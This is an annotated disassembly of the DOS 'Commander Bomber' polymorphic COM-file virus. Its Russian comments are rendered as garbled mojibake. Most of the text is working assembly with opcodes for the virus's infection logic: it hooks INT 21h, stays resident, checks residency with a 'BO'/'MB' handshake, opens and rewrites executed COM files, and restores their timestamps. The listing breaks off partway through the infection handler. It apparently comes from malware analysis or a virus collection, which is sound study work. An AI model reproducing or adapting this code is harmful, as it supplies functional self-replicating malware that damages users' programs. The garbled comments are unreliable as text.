;==============================================================================
                                ;                       VIRUS : CommnaderBomber (RC-4096)
                                ;==============================================================================
                                COMMENT *
                                    ‚¨àãá ¯®à ¦ ¥â ä ©«ë ⨯  COM ¯à¨ § ¯ã᪥ ­  ¢ë¯®«­¥­¨¥ (DOS func 4Bh). ‚¨-
                                àãá ­¥ § à ¦ ¥â ä ©« COMMAND.COM. COM-ä®à¬ â ®¯à¥¤¥«ï¥âáï ¯® ®âáãâá¢¨î  ¯®¤¯¨á¨
                                "MZ" ¨«¨ "ZM" ¢ ­ ç «¥ ä ©« .
                                    ‚¨àãá ­¥ ¨á¯®«ì§ã¥â ­¨ª ª¨å ¢ë¤ îé¨åáï  «£®à¨â¬®¢ ¯à¨ § à ¦¥­¨¨ ®¯¥à â¨¢­®©
                                ¯ ¬ïâ¨. Ž­ áâ ­®¢¨âáï १¨¤¥­â­ë¬ ¨á¯®à«ì§ãï áâ ­¤ àâ­ãî äã­ªæ¨î 31h (TSR) ®¯¥-
                                à æ¨®­­®© á¨á⥬ë. Žç¥¢¨¤­®, çâ®  ¢â®à ­¥ ¯ëâ «áï ॠ«¨§®¢ âì ­¨ç¥£®  ­®¢®£®  ¢
                                ¯« ­¥ § å¢ â  ¯ ¬ïâ¨. ‚¨àãá ¨á¯®«ì§ã¥â áâ ­¤ àâ­ë¥ ä㭪樨 ¨ ¥£® ®¡¥§¢à¥¦¨¢ ­¨¥
                                ¢ ¯ ¬ï⨠­¥ ¯à¥¤áâ ¢«ï¥â ª ª¨å-«¨¡® á«®¦­®á⥩. ‘¢®¥ ¯à¨áãâá⢨¥ ¢ ¯ ¬ï⨠¢¨àãá
                                ®¯à¥¤¥«ï¥â ¯® ­¥áãé¥áâ¢ãî饩 ä㭪樨 DOS (func 424Fh). à¨  í⮬ ¢ ª ç¥âᢥ ¯ -
                                à®«ï ¯à¨¬¯¥­ï¥âáï ¯¥à¢ë© á«®£ "BO",   ¢ ª ç¥á⢥ ®â¢¥â  - ¢â®à®© á«®£ "MB" á«®-
                                ¢  "BOMB".
                                    ‚¨àãá à ¡®â®á¯®á®¡¥­ ⮫쪮 ¢ MS-DOS ¢¥àᨨ 3.0 ¨ ¢ëè¥.
                                    ‚¨àãá ­¥ ¯à®áâ ¢«ï¥â ­¨ª ª¨å ¯à¨§­ ª®¢ § à ¦¥­­®áâ¨.  ‚¬¥áâ®  í⮣®  ®­ ¨á-
                                ¯®«ì§ã¥â ¤®¢®«ì­® ®à¨£¨­ «ì­ë©   «£®à¨â¬ á ¬®«¥ç¥­¨ï ¯à¨  ¯®¢â®à­®¬  § à ¦¥­¨¨.
                                ‚ ¯à¨­æ¨¯¥ ¢®§¬®¦­® ¬­®£®ªà â­®¥ § à ¦¥­¨¥ ¯à®£à ¬¬ë-­®á¨â¥«ï. Ž¤­ ª® í⮣®  ­¥
                                ¯à®¨á室¨â.  Š ¦¤ë© à § ¯à¨ § ¯ã᪥ § à ¦¥­­®© ¯à®£à ¬¬ë  ¢¨àãá  ¯¥à¥§ ¯¨á뢠¥â
                                ⥫® ¯à®£à ¬¬ë ¢ ⮬ ¢¨¤¥, ª®â®àë© ®­  ¨¬¥«  ¢ ¬®¬¥­â ¯®à ¦¥­¨ï ¥¥ í⮩  ª®¯¨¥©
                                ¢¨àãá .  à¨ í⮬ ¯à®¨á室¨â ®âᥪ ­¨¥  ¢á¥£® «¨è­¥£®.  ’.¥. ¯à¨ § ¯ã᪥ ¬­®£®-
                                ªà â­® § à ¦¥­­®© ¯à®£à ¬¬ë ª ¦¤ ï ¯®á«¥¤ãîé ï ª®¯¨ï ¢¨àãá  ¡ã¤¥â ®âᥪ âì ¯à¥-
                                ¤ë¤ãéãî.   ¯à ªâ¨ª¥ íâ® ¢ë£«ë¤¨â â ª: § ¯ã᪠¥¬ ï § à ¦¥­­ ï ¯à®£à ¬¬  ¯à¨ à¥-
                                §¨¤¥­â­®¬ ¢¨àãᥠ¥é¥ à § § à ¦ ¥âáï,   ¯®á«¥ 类¡ë ¯¥à¥¤ ç¨ ã¯à ¢«¥­¨ï ¯à®£à ¬-
                                ¬¥-­®á¨â¥«î ¢â®à ï ⮫쪮 çâ® ¯à¨æ¥¯¨¢é ïáï ª®¯¨ï ¢¨àãá  ®âᥪ ¥âáï ¯¥à¢®©  ª®-
                                ¯¨¥©. ’ ª¨¬ ®¡à §®¬, § à §¨¢ ä ©«, ¢¨àãá áâ ­®¢¨âáï áâà ¦¥¬  ­ ¤  í⨬ ä ©«®¬ -
                                ­¥ ¯à®¯ã᪠¥â ­¨ ᢮¨å ᮡà â쥢, ­¨ ª ª®© «¨¡® ¤à㣮© ¢¨àãá. ®¤®¡­ë¥ ¤¥©á⢨ï
                                ¢¥á쬠 § ¬¥¤«ïîâ à ¡®âã ¢¨àãá , ®á®¡¥­­®, ¥á«¨  ¯®«ì§®¢ âìáï ¤¨áª¥â ¬¨. ’ ª ª ª
                                ¬­®£®ªà â­ ï  § ¯¨áì ­  ¤¨áª ¢ ¬®¬¥­â § ¯ã᪠ § à ¦¥­­ëå ¯à®£à ¬¬ ¡ã¤¥â  ¢¥á쬠
                                § ¬¥â­  ¤«ï ¯®«ì§®¢ â¥«ï.
                                    Žá­®¢­ ï ¨§î¬¨­ª  ¯à¥¤áâ ¢«¥­­®£® ¢¨àãá  -  íâ® ¯®«¨¬®àä­ë© £¥­¥à â®à,  ª®-
                                â®àë© ï¢«ï¥âáï ¢¥á쬠 ®à¨£¨­ «ì­ë¬, ¯®áª®«ìªã ¨á¯®«ì§ã¥â ¯®ç⨠¢á¥ ª®¬ ­¤ë ¯à®-
                                æ¥áá®à  i8086.
                                    ‘«¥¤ã¥â ®â¬¥â¨âì, ç⮠ᮧ¤ ¢ ¥¬ë© ¯®«¨¬®àä­ë© ª®¤  ¥áâì  ­ ¡®à®¬ ᮢ¥à襭­®
                                ¡¥áá¬ëá«¥­­ëå ª®¬ ­¤, ¯à¥¤áâ ¢«ïîé¨å ᮡ®©  ᢮¥®¡à §­ë© § ¡®à  ¯à¥¤  á¬ëá«®¢ë¬
                                ª®¤®¬. „«ï ¯à®áâ®âë ¡ã¤¥¬ ­ §ë¢ âì â ª®© § ¡®à "¯®«¨¬®àä­ë¬ ¬ãá®à®¬".
                                    ‚¨àãá â ª¦¥ ¯à¨¬¥ç â¥«¥­ ⥬, çâ® ¢ ­¥¬ ¢¯¥à¢ë¥ ¯à¨¬¥­¥­  «£®à¨â¬ "®¯¯«¥¢ë-
                                ¢ ­¨ï" ä ©« , â.¥. ¢¨àãá ä®à¬¨àã¥â ¢ ⥫¥ § à ¦ ¥¬®© ¯à®£à ¬¬ë ®â¤¥«ì­ë¥ ãç áâ-
                                ª¨ ª®¤ , ª®â®àë¥ ¨­â¥­á¨¢­® ¢§ ¨¬®¤¥©áâ¢ãîâ ¬¥¦¤ã ᮡ®© ¯®á।á⢮¬ ª®¬ ­¤  ¯¥-
                                । ç¨ ã¯à ¢«¥­¨ï CALL, JMP, RET.  à¨ í⮬ ãç á⪨ ª®¤  à á¯®« £ îâáï ¯®  ¢á¥©
                                ¯à®£à ¬¬¥ ¢ á ¬ëå à §­ëå ¬¥áâ å ¨ á ¬®© à §­®© ¤«¨­ë.
                                    „«ï ®âá«¥¦¨¢ ­¨ï ¢á¥å ª®¬ ­¤ ¯¥à¥¤ ç¨ ã¯à ¢«¥­¨ï ¢¨àãá ¤®¢®«ì­®  ¨­â¥­á¨¢­®
                                ¨á¯®«ì§ã¥â á⥪®¢ãî ¯ ¬ïâì (ª ª HEAP ®¡« áâì),  ä®à¬¨àãï ¢ ­¥© ¤¢  ¤¨­ ¬¨ç¥áª¨å
                                ¬ áᨢ .
                                *

                                in_reg          equ     00000010b    ; ¯¥à¥á뫪  ¢ ॣ¨áâà
                                out_reg         equ     00000000b    ; ¯¥à¥á뫪  ¨§ ॣ¨áâà 
                                BY_BYTE         equ     00000000b    ; ®¡¬¥­ ¡ ©â ¬¨
                                BY_WORD         equ     00000001b    ; ®¡¬¥­ á«®¢ ¬¨
                                SEG_REGs        equ     00011000b    ; ¬ áª  ᥣ¬¥­â­ëå ॣ¨áâ஢

                                dop             macro   Operation,Direction
                                                db      Operation or Direction
                                dop             endm

                                seg_a           segment byte public use16
                                                assume  cs:seg_a, ds:seg_a

                                                org     100h

                                Start           label   near

     0100                       Vir_start:
     0100  33 E4                                xor     sp,sp              ; Žà£ ­¨§ã¥¬ á⥪ ­  ¢¥à設¥ ᥣ¬¥­â 
     0102  FB                                   sti                        ; Enable interrupts
     0103  E8 0074                              call    sub_017A
     ;----------------------------------------------------------------------------------------------------------
     0106 .43 4F 4D 4D 41 4E    Copyright       db      'COMMANDER BOMBER WAS HERE'
     010C  44 45 52 20 42 4F
     0112  4D 42 45 52 20 57
     0118  41 53 20 48 45 52
     011E  45
     ;----------------------------------------------------------------------------------------------------------
     011F                       loc_011F:
                                ;--------------- ¯¥à¥å¢ â ¯à¥à뢠­¨ï INT 21h ---------------
     011F  B8 3521                              mov     ax,3521h
     0122  CD 21                                int     21h                     ; DOS Services  ah=function 35h
                                                                                ;  get intrpt vector al in es:bx
     0124  89 1E 0235                           mov     ds:data_0235,bx
     0128  8C 06 0237                           mov     ds:data_0237,es
     012C .BA 022A                              mov     dx,offset sub_022A
     012F  B4 25                                mov     ah,25h
     0131  CD 21                                int     21h                     ; DOS Services  ah=function 25h
                                                                                ;  set intrpt vector al to ds:dx
     0133  E8 0942                              call    RANDOMIZE          ; ­ áâனª  £¥­¥à â®à 
                                ;--------------- ®á¢®¡®¤¨âì ®ªà㦥­¨¥ ----------------------
     0136  8E 1E 002C                           mov     ds,ds:[002Ch]
     013A  8B D5                                mov     dx,bp
     013C  1E                                   push    ds
     013D  07                                   pop     es                      ; ES = DS
     013E  B4 49                                mov     ah,49h
     0140  CD 21                                int     21h                     ; DOS Services  ah=function 49h
                                                                                ;  release memory block, es=seg
                                ;--------------- ¯¥à¥à §¬¥â¨âì ¡«®ª ¯ ¬ï⨠-----------------
     0142  0E                                   push    cs
     0143  07                                   pop     es
     0144  BB 00AC                              mov     bx,(Vir_END - Vir_Start + 0100h) / 16
     0147  B4 4A                                mov     ah,4Ah
     0149  CD 21                                int     21h                     ; DOS Services  ah=function 4Ah
                                                                                ;  change memory allocation
                                                                                ;   bx=bytes/16, es=mem segment
                                ;--------------- § ¯ãáâ¨âì ---------------------------------
     014B .BB 016C                              mov     bx,offset data_016C
     014E  26: 8C 47 04                         mov     es:[bx+4],es
     0152  26: 8C 47 08                         mov     es:[bx+8],es
     0156  26: 8C 47 0C                         mov     es:[bx+0Ch],es
     015A  B8 4B00                              mov     ax,4B00h
     015D  CD 21                                int     21h                     ; DOS Services  ah=function 4Bh
                                                                                ;  run progm @ds:dx, parm @es:bx
     015F  72 04                                jc      short loc_0165          ; Jump if carry Set
     0161  B4 4D                                mov     ah,4Dh
     0163  CD 21                                int     21h                     ; DOS Services  ah=function 4Dh
                                                                                ;  get return code info in ax
     0165                       loc_0165:
     0165  BA 00AC                              mov     dx,Vir_END / 16
     0168  B4 31                                mov     ah,31h
     016A  CD 21                                int     21h                     ; DOS Services  ah=function 31h
                                                                                ;  terminate & stay resident
                                                                                ;   al=return code,dx=paragraphs
     ;----------------------------------------------------------------------------------------------------------
                                ; «®ª ¯ à ¬¥â஢ EXEC
     016C  00                   data_016C       db      0
     016D  00 80 00 CC 0F 5C                    db       00h, 80h, 00h,0CCh, 0Fh, 5Ch
     0173  00 CC 0F 6C 00 CC                    db       00h,0CCh, 0Fh, 6Ch, 00h,0CCh
     0179  0F                                   db       0Fh


                                ;==========================================================================
                                sub_017A:
     017A  FC                                   cld                             ; Clear direction
     017B  5E                                   pop     si                      ; SI = offset Copyright
     017C  83 EE 06                             sub     si,offset Copyright - offset Vir_start
                                ; SI = absolute address base
     017F  0E                                   push    cs
     0180  1F                                   pop     ds                      ; DS = CS
     0181  1E                                   push    ds
     0182  07                                   pop     es                      ; ES = CS
     0183  33 C0                                xor     ax,ax                   ; Zero register
                                ; Create small procedure at address 00FCh
                                ;----------------------------
                                ; 00FC   F3        repz
                                ; 00FD   A5        movsw                        ; Movsb ds:[si] to es:[di]
                                ; 00FE   EB 1F     jmp loc_011F
                                ;----------------------------
     0185  BF 00FC                              mov     di,offset start - 4
     0188  50                                   push    ax
     0189  57                                   push    di
     018A  B8 A5F3                              mov     ax,0A5F3h
     018D  AB                                   stosw                           ; Store ax to es:[di]
                                                                                ;  di=di+2, di=00FEh
     018E  B8 1FEB                              mov     ax,1FEBh
     0191  AB                                   stosw                           ; Store ax to es:[di]
                                                                                ;  di=di+2, di=0100h
                                ; -------------- ¯à®¢¥àª  ¢¥àᨨ DOS ------------
                                ; ¯®¤ DOS ¢¥àᨨ ¬¥èìè¥ ç¥¬ 3.x ¢¨àãá ­¥ à ¡®â ¥â
     0192  B4 30                                mov     ah,30h
     0194  CD 21                                int     21h                     ; DOS Services  ah=function 30h
                                                                                ;  get DOS version number ax
     0196  3C 03                                cmp     al,3
     0198  72 5D                                jb      short loc_01F7          ; Jump if below
                                ; …᫨ ¢¥àá¨ï DOS 3.x+ â® ¢ ª®¯¨¨ á¨á⥬­®£® ®ªà㦥­¨ï ¥áâì áâப 
                                ; á ¯®«­ë¬ ¨¬¥­¥¬ ä ©« . ˆé¥¬ íâ® ¯®«­®¥ ¨¬ï
     019A  56                                   push    si
     019B  33 F6                                xor     si,si
     019D  8E 5C 2C                             mov     ds,[si+2Ch]             ; DS = DOS environ segment
     01A0                       loc_01A0:
     01A0  AD                                   lodsw                           ; String [si] to ax
     01A1  4E                                   dec     si
     01A2  0B C0                                or      ax,ax                   ; Zero ?
     01A4  75 FA                                jnz     loc_01A0                ; Jump if not 00
     01A6  8D 6C 03                             lea     bp,[si+3]               ; DS:BP - ¯®«­®¥ ¨¬ï ¯à®£à ¬¬ë
     01A9  5E                                   pop     si
                                ; -------------- ¯à®¢¥àª  १¨¤¥­â  ¯ à®«¥¬ ç¥à¥§ INT 21h --------
                                ; ¨á¯®«ì§ã¥âáï äã­ªæ¨ï 42h á ­¥áãé¥áâ¢ãî騬 ¬¥â®¤®¬ ãáâ ­®¢ª¨ 4Fh
     01AA  B8 424F                              mov     ax,'BO'
     01AD  CD 21                                int     21h                     ; DOS Services  ah=function 42h
     01AF  3D 4D42                              cmp     ax,'MB'
                                                                         ; …᫨ ¢¨àãá १¨¤¥­â¥­, â® ­¥â ­¨ª -
                                                                         ; ª®£® á¬ëá«  ¢ ¢®ááâ ­®¢«¥­¨¨ ¯à®£-
                                                                         ; à ¬¬ë-­®á¨â¥«ï, ­ã¦­®  ªâ¨¢¨§¨à®-
                                                                         ; ¢ âì ¢¨àãá (¢á¥ ¡à®á ¥¬ ¨ ¢¯¥à¥¤
                                                                         ; ­   ªâ¨¢¨§ æ¨î ¢¨àãá )
     01B2  75 62                                jne     short loc_0216   ; Jump if not TSR virus
                                ; -------------- ®âªàëâì ¯à®£à ¬¬ã-­®á¨â¥«ì ----------------------
     01B4  8B D5                                mov     dx,bp
     01B6  B8 3D02                              mov     ax,3D02h
     01B9  CD 21                                int     21h                     ; DOS Services  ah=function 3Dh
                                                                                ;  open file, al=mode,name@ds:dx
     01BB  06                                   push    es
     01BC  1F                                   pop     ds                      ; DS = ES
     01BD  72 38                                jc      short loc_01F7          ; Jump if CF=1 (â.¥. § é¨â  ®â
                                                                                ;                § ¯¨á¨)
     01BF  93                                   xchg    bx,ax
                                ; á®åà ­¨âì ¤ âã ¨ ¢à¥¬ï ᮧ¤ ­¨ï ¯à®£à ¬¬ë-­®á¨â¥«ï
     01C0  B8 5700                              mov     ax,5700h
     01C3  CD 21                                int     21h                     ; DOS Services  ah=function 57h
                                                                                ;  get file date+time, bx=handle
                                                                                ;   returns cx=time, dx=time
     01C5  72 2C                                jc      short loc_01F3          ; Jump if CF=1
                                ; --------------------------------------------------------------------
                                ;              * ‚®ááâ ­®¢¨âì ®¡à § ¯ ¬ï⨠¨§ MEM-¡«®ª  *
                                ; --------------------------------------------------------------------
                                ; ‡ ¤ ç  á«¥¤ãî饣® ª®¤  á®á⮨⠢ ¢®ááâ ­®¢«¥­¨¨ ®¡à §  ¯ ¬ï⨠¤® ¥£®
                                ; ­ ç «ì­®£® ¢¨¤  ¯¥à¥¤ § ¯ã᪮¬. ’.ª. ¯®ª  ¯à®æ¥áá®à ¯à®å®¤¨« ç¥à¥§
                                ; ¯®«¨¬®àä­ë© "¬ãá®à" ª ⥫㠢¨àãá  á®¤¥à¦¨¬®¥ ï祥ª ¯ ¬ïâ¨, ª®â®àë¥
                                ; ¡ë«¨ ¢ë¤¥«¥­ë ¯®¤ ¬®¤¨ä¨ª æ¨î, ¡ë«® ¨§¬¥­¥­®. ‚®ááâ ­®¢«¥­¨¥ ¬®¤¨-
                                ; ä¨æ¨à®¢ ­­ëå ï祥ª ¯à®¢®¤¨âáï ¯® § ¯¨áï¬ ¢ MEM-¡«®ª¥.
                                ; ”®à¬ â MEM-¡«®ª  : dw  ¤à¥á, dw ᮤ¥à¦¨¬®¥, dw  ¤à¥á, dw ᮤ¥à¦¨¬®¥
                                ; ¨ â.¤.
                                ; --------------------------------------------------------------------
     01C7  52                                   push    dx
     01C8  51                                   push    cx
     01C9  56                                   push    si
     01CA  81 C6 09C0                           add     si,Vir_END - Vir_start  ; SI = 㪠§ â¥«ì ­  MEM-¡«®ª
     01CE                       loc_01CE:
     01CE  AD                                   lodsw                           ; String [si] to ax
     01CF  FE C4                                inc     ah                      ; ¯à¨¡ ¢¨âì 0100h
     01D1  74 04                                jz      short loc_01D7          ; Jump if Mark-end
     01D3  97                                   xchg    di,ax
     01D4  A5                                   movsw                           ; Mov [si] to es:[di]
     01D5  EB F7                                jmp     short loc_01CE
     01D7                       loc_01D7:
     01D7  5E                                   pop     si
                                ;--------------- ¯¥à¥§ ¯¨á âì ⥫® § à ¦¥­­®© ¯à®£à ¬¬ë -------
     01D8  BA 0100                              mov     dx,100h
     01DB  B9 1000                              mov     cx,1000h
     01DE  03 8C 0110                           add     cx,offset OriginalFileSize - Vir_start [si]
     01E2  B4 40                                mov     ah,40h
     01E4  CD 21                                int     21h                     ; DOS Services  ah=function 40h
                                                                                ;  write file  bx=file handle
                                                                                ;   cx=bytes from ds:dx buffer
                                ;--------------- Ž¡à¥§ª  «¨è­¥£® (®â¡à®á¨âì ¢â®àãî ª®¯¨î) --------
     01E6  33 C9                                xor     cx,cx                   ; Zero register
     01E8  B4 40                                mov     ah,40h
     01EA  CD 21                                int     21h                     ; DOS Services  ah=function 40h
                                                                                ;  write file  bx=file handle
                                                                                ;   cx=bytes from ds:dx buffer
     01EC  59                                   pop     cx
     01ED  5A                                   pop     dx
                                ; ¢®ááâ ­®¢¨âì ¤ âã ¨ ¢à¥¬ï ᮧ¤ ­¨ï ¯à®£à ¬¬ë-­®á¨â¥«ï
     01EE  B8 5701                              mov     ax,5701h
     01F1  CD 21                                int     21h                     ; DOS Services  ah=function 57h
                                                                                ;  set file date+time, bx=handle
                                                                                ;   cx=time, dx=time
     01F3                       loc_01F3:
                                ; -------------- § ªàëâì § à ¦¥­­ãî ¯à®£à ¬¬ã
     01F3  B4 3E                                mov     ah,3Eh
     01F5  CD 21                                int     21h                     ; DOS Services  ah=function 3Eh
                                                                                ;  close file, bx=file handle
     01F7                       loc_01F7:
     01F7  C6 06 00FF 00                        mov     byte ptr ds:[00FFh],0   ; à¨ १¨¤¥­â­®¬ ¢¨àãᥠ­ã¦­®
                                                                                ; § ¯ã᪠âì ¯à®£à ¬¬ã ­®á¨â¥«ì
                                ; -------------------------------------------------------------------------
                                ;  * ‚Ž‘‘’€Ž‚ˆ’œ ¢ ¯ ¬ï⨠¯à®£à ¬¬ã-­®á¨â¥«ì ¯® ¨­ä®à¬ æ¨¨ ¢ ˆ”Ž-¡«®ª¥ *
                                ; -------------------------------------------------------------------------
     01FC  56                                   push    si
     01FD  81 C6 0BC0                           add     si,Vir_END - Vir_start + 0200h
     0201                       loc_0201:
     0201  AD                                   lodsw                           ; String [si] to ax
     0202  8B C8                                mov     cx,ax
     0204  E3 08                                jcxz    short loc_020E          ; Jump if cx=0
     0206  AD                                   lodsw                           ; String [si] to ax
     0207  FE C4                                inc     ah
     0209  97                                   xchg    di,ax
     020A  F3/ A4                               rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
     020C  EB F3                                jmp     short loc_0201
     020E                       loc_020E:
     020E  5F                                   pop     di                      ; ¢¨àãá ª®¯¨àã¥âáï á ¬ ­  ᥡï
     020F  BE 3000                              mov     si,1111h                ; à §¬¥à ä ©« -­®á¨â¥«ï ¤® § à ¦¥­¨ï
                                OriginalFileSize =      word ptr $ - 2
     0212  81 C6 0100                           add     si,offset start         ; COM ¯à®£à ¬¬ë á  ¤à¥á  0100h
     0216                       loc_0216:
     0216  B9 0800                              mov     cx,4096 / 2             ; à §¬¥à ¢¨àãá  ¢ á«®¢ å
     0219  06                                   push    es
     021A  1F                                   pop     ds                      ; DS = ES
     021B  C3                                   retn

                                ;==========================================================================
                                ; —⥭¨¥ ¨§ ä ©«  ¯®  ¤à¥áã ES:0000
                                ;==========================================================================

                                sub_021C        proc    near
     021C  33 D2                                xor     dx,dx           ; DX = 0000
     021E  B9 EF00                              mov     cx,0EF00h       ; ª®«¨ç¥á⢮ ¡ ©â ¤«ï ç⥭¨ï
                                                                        ;  (¬ áª¨¬ «ì­®)
     0221  B4 3F                                mov     ah,3Fh

                                ;==========================================================================
                                ; Œ®¤¥«¨à㥬 ¢ë§®¢ ®à¨£¨­ «ì­®£® ¤¨á¯¥ç¥à  DOS
                                ;==========================================================================
                                DOS_func:
     0223  9C                                   pushf                           ; Push flags
     0224  FA                                   cli                             ; Disable interrupts
     0225  0E E8 000B                           callf   sub_0234
     0229  C3                                   retn
                                sub_021C        endp

                                ;==========================================================================
                                ; ‚¨àãá­ë© ®¡à ¡®â稪 ¤¨á¯¥ç¥à  DOS (INT 21h)
                                ;==========================================================================
                                sub_022A        proc    far
     022A  3D 4B00                              cmp     ax,4B00h
     022D  74 0E                                je      short loc_023D          ; Jump if equal
     022F  3D 424F                              cmp     ax,'BO'
     0232  74 05                                je      short loc_0239          ; Jump if equal

                                ;==========================================================================
                                ;               ¥à¥¤ ç  ã¯à ¢«¥­¨ï ®à¨£¨­ «ì­®¬ã INT 21h
                                ;==========================================================================
                                sub_0234        proc    far
     0234  EA                                   db      0EAh                    ;jmp     far ptr 0:0
     0235  0042                 data_0235       dw      ?
     0237  DCB6                 data_0237       dw      ?
                                sub_0234        endp

                                ;==========================================================================
     0239                       loc_0239:
     0239  B8 4D42                              mov     ax,'MB'                 ; ®â¢¥â ­  ¯ à®«ì
     023C  CF                                   iret                            ; Interrupt return
     023D                       loc_023D:
     023D  2E: 8C 16 0324                       mov     cs:Save_SS,ss
     0242  2E: 89 26 0329                       mov     cs:Save_SP,sp           ; á®åà ­¨âì 㪠§ â¥«ì á⥪ 
     0247  FA                                   cli                             ; Disable interrupts
     0248  8C C8                                mov     ax,cs
     024A  8E D0                                mov     ss,ax
     024C  BC 0100                              mov     sp,offset Start         ; ®à£ ­¨§®¢ âì á⥪ ­  ¬¥áâ¥
                                                                                ;  PSP
     024F  FB                                   sti                             ; Enable interrupts
     0250  06                                   push    es
     0251  1E                                   push    ds
     0252  55                                   push    bp
     0253  57                                   push    di
     0254  56                                   push    si
     0255  52                                   push    dx
     0256  51                                   push    cx
     0257  53                                   push    bx
     0258  FC                                   cld                             ; Clear direction
     0259  8B F2                                mov     si,dx                   ; DS:DX - ¨¬ï ¯à®£à ¬¬ë
     025B  B9 0050                              mov     cx,50h                  ; ¤«¨­  ¨¬¥­¨ 80 ᨬ¢®«®¢
     025E  8B FE                                mov     di,si
                                ;--------------- ¢ë¤¥«ï¥¬ ¨¬ï ¯à®£à ¬¬ë ---------------------------------------
     0260                       locloop_0260:
     0260  AC                                   lodsb                           ; String [si] to al
     0261  3C 3A                                cmp     al,':'
     0263  74 04                                je      short loc_0269          ; Jump if equal
     0265  3C 5C                                cmp     al,'\'
     0267  75 02                                jne     short loc_026B          ; Jump if not equal
     0269                       loc_0269:
     0269  8B FE                                mov     di,si
     026B                       loc_026B:
     026B  0A C0                                or      al,al                   ; Zero ?
     026D  E0 F1                                loopnz  locloop_0260            ; Loop if zf=0, cx>0
                                ;--------------- ä ©« á ¨¬¥­¥¬ COMMAND ­¥ § à ¦ ¥âáï
     026F  8B F7                                mov     si,di
     0271  BF 0105                              mov     di,offset Copyright - 1
     0274  B1 07                                mov     cl,7

     0276                       locloop_0276:
     0276  AC                                   lodsb                           ; String [si] to al
     0277  24 DF                                and     al,0DFh                 ; al = UpCase (al)
     0279  47                                   inc     di
     027A  2E: 3A 05                            cmp     al,cs:[di]
     027D  E1 F7                                loopz   locloop_0276            ; Loop if zf=1, cx>0

     027F  75 09                                jnz     short loc_028A          ; Jump if not zero
     0281  AC                                   lodsb                           ; String [si] to al
     0282  0A C0                                or      al,al                   ; Zero ?
     0284  74 0E                                jz      short loc_0294          ; Jump if yes
     0286  3C 2E                                cmp     al,'.'
     0288  74 0A                                je      short loc_0294          ; Jump if equal
                                ;--------------- § å¢ â¨âì ¯ ¬ïâì ---------------------------------------
                                ; ’㤠 ¡ã¤¥¬ ª®¯¨à®¢ â¨ì ⥫® ¢¨àãá  ¨ ®à£ ­¨§®¢ë¢ âì ¯à®£à ¬¬­ë¥ ¬ áᨢë
     028A                       loc_028A:
     028A  BB 1000                              mov     bx,1000h                ; ­ã¦­® 4Š¡ ©â 
     028D  B4 48                                mov     ah,48h
     028F  E8 FF91                              call    DOS_func
     0292  73 03                                jnc     short loc_0297          ; Jump if carry=0
     0294                       loc_0294:
     0294  E9 0083                              jmp     loc_031A
                                ;--------------- ¯®«ãç¨âì  âਡãâë ä ©«  ------------------
     0297                       loc_0297:
     0297  8E C0                                mov     es,ax
     0299  B8 4300                              mov     ax,4300h
     029C  E8 FF84                              call    DOS_func
     029F  72 74                                jc      short loc_0315          ; Jump if carry Set
                                ;--------------- á­ïâì ¥á«¨ ­ã¦­®  âਡãâë ----------------
     02A1  D1 E9                                shr     cx,1                    ; Shift w/zeros fill
     02A3  73 0A                                jnc     short loc_02AF          ; Jump if carry=0
     02A5  D1 E1                                shl     cx,1                    ; Shift w/zeros fill
     02A7  B8 4301                              mov     ax,4301h
     02AA  E8 FF76                              call    DOS_func
     02AD  72 66                                jc      short loc_0315          ; Jump if carry Set
                                ;--------------- ®âªàëâì ä ©« -----------------------------
     02AF                       loc_02AF:
     02AF  B8 3D02                              mov     ax,3D02h
     02B2  E8 FF6E                              call    DOS_func
     02B5  72 5E                                jc      short loc_0315          ; Jump if carry Set
     02B7  93                                   xchg    bx,ax
     02B8  06                                   push    es
     02B9  1F                                   pop     ds                      ; DS = ES
     02BA  E8 FF5F                              call    sub_021C                ; ¯à®ç¨â âì ä ©«
     02BD  72 51                                jc      short loc_0310          ; Jump if carry Set
                                ;--------------- ¯à®¢¥à塞 ª ª®© ¤«¨­ë ä ©« --------------------
     02BF  3B C1                                cmp     ax,cx                   ; ‘«¨èª®¬ ¡®«ì让
     02C1  74 4D                                je      short loc_0310          ; Jump if =
     02C3  3D 1400                              cmp     ax,1400h                ; ‘«¨èª®¬ ¬ «¥­ìª¨©
     02C6  72 48                                jb      short loc_0310          ; Jump if <
                                ;===============================================================
                                ;- [!] --------- Ž¡à ¡ â뢠¥¬ ⮫쪮 ä ©«ë ä®à¬ â  COM ---------
                                ;===============================================================
     02C8  81 3E 0000 5A4D                      cmp     word ptr ds:[0000],'ZM'
     02CE  74 40                                je      short loc_0310          ; Jump if equal
     02D0  81 3E 0000 4D5A                      cmp     word ptr ds:[0000],'MZ'
     02D6  74 38                                je      short loc_0310          ; Jump if equal
                                ;--------------- á®åà ­¨âì ¤ âã ¨ ¢à¥¬ï ᮧ¤ ­¨ï ä ©«  ---------
     02D8  50                                   push    ax
     02D9  B8 5700                              mov     ax,5700h
     02DC  E8 FF44                              call    DOS_func
     02DF  58                                   pop     ax
     02E0  72 2E                                jc      short loc_0310          ; Jump if carry Set
     02E2  2E: 89 0E 0308                       mov     cs:data_0308,cx
     02E7  2E: 89 16 0305                       mov     cs:data_0305,dx
                                ;===============================================================
                                ;   ‡ ¯ãáâ¨âì ¯à®æ¥¤ãàã £¥­¥à¨àãîéãî ¯®«¨¬®àä­ë© "¬ãá®à"
                                ;===============================================================
     02EC  53                                   push    bx
     02ED  E8 0069                              call    sub_0359
     02F0  5B                                   pop     bx
     02F1  50                                   push    ax
                                ;--------------- ¯®§¨æ¨®­¨à㥬áï ­  ­ ç «® ä ©«  ---------------
     02F2  33 C9                                xor     cx,cx                   ; Zero register
     02F4  33 D2                                xor     dx,dx                   ; Zero register
     02F6  B8 4200                              mov     ax,4200h
     02F9  E8 FF27                              call    DOS_func
     02FC  59                                   pop     cx
     02FD  72 11                                jc      short loc_0310          ; Jump if carry Set
                                ;--------------- § ¯¨á뢠¥¬ § à ¦¥­­ë© ä ©« --------------------
     02FF  B4 40                                mov     ah,40h
     0301  E8 FF1F                              call    DOS_func
                                ;--------------- ¢®ááâ ­®¢¨âì ¤ âã ¨ ¢à¥¬ï ---------------------
     0304  BA 1F97                              mov     dx,1111h
                                data_0305       =       word ptr $ - 2
     0307  B9 2B87                              mov     cx,1111h
                                data_0308       =       word ptr $ - 2
     030A  B8 5701                              mov     ax,5701h
     030D  E8 FF13                              call    DOS_func
                                ;--------------- § ªàëâì ä ©« ----------------------------------
     0310                       loc_0310:
     0310  B4 3E                                mov     ah,3Eh
     0312  E8 FF0E                              call    DOS_func
                                ;--------------- ®á¢®¡®¤¨âì ¯ ¬ïâì -----------------------------
     0315                       loc_0315:
